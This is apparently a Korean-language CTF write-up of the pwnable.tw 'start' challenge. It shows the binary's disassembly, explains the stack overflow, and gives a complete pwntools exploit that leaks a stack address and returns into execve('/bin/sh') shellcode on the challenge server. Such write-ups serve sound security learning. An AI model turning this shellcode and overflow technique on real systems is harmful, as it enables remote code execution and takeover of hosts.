Pwnable/pwnable.tw

pwnable.tw start

start

처음에 조금 방황을했지만 보호기법을 꼭 생각하자보호기법이 꺼져있으면 다 이유가있음

 

nx bit disabled 인것으로 shell code를 이용해야 하는것을 바로 알아차려야 했었다… 계속 syscall 어떻게 이용할까만 생각을해버려서 시간만 날려버렸다.

.text:08048060 _start          proc near               ; DATA XREF: LOAD:08048018↑o
.text:08048060                 push    esp
.text:08048061                 push    offset _exit
.text:08048066                 xor     eax, eax
.text:08048068                 xor     ebx, ebx
.text:0804806A                 xor     ecx, ecx
.text:0804806C                 xor     edx, edx
.text:0804806E                 push    3A465443h
.text:08048073                 push    20656874h
.text:08048078                 push    20747261h
.text:0804807D                 push    74732073h
.text:08048082                 push    2774654Ch
.text:08048087                 mov     ecx, esp        ; addr
.text:08048089                 mov     dl, 14h         ; len
.text:0804808B                 mov     bl, 1           ; fd
.text:0804808D                 mov     al, 4
.text:0804808F                 int     80h             ; LINUX - sys_write
.text:08048091                 xor     ebx, ebx
.text:08048093                 mov     dl, 3Ch
.text:08048095                 mov     al, 3
.text:08048097                 int     80h             ; LINUX -
.text:08048099                 add     esp, 14h
.text:0804809C                 retn

leave 가 없으므로 기존 방식으로면 SFP 위치가 RET 된다.

08048093부터 보면 read(0,[ecx],60)

맞나?

입력받는 부분부터 RET까지 거리는 0x14 이므로 overflow 가 발생한다

풀이는 먼저 RET를 0x0804808b 로 바꿔주면서 memory leak 을 해주고다음 read 입력으로 shellcode 와 RET까지 dummy를 채워준다add esp ,14h 가 한번더 있는것을 유의하자.

from pwn import *

context.log_level = 'debug'#p=process("./start")
p=remote("chall.pwnable.tw", 10000)
shell = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"
w_g = 0x0804808b
start = 0x08048060
ad = 0x08048099
p.recvuntil("CTF:")

py = 'A'*20
py += p32(w_g)

p.send(py)
leak = u32(p.recvuntil("\xff")[-4:])
print hex(leak)
base = leak - 0x1c

py2 = shell
py2 += 'A'*(44-len(shell))
py2 += p32(base)

p.sendline(py2)
p.interactive()

 

'Pwnable > pwnable.tw' 카테고리의 다른 글

hacknote  (0) 2020.03.14
pwnable.tw orw  (0) 2019.09.05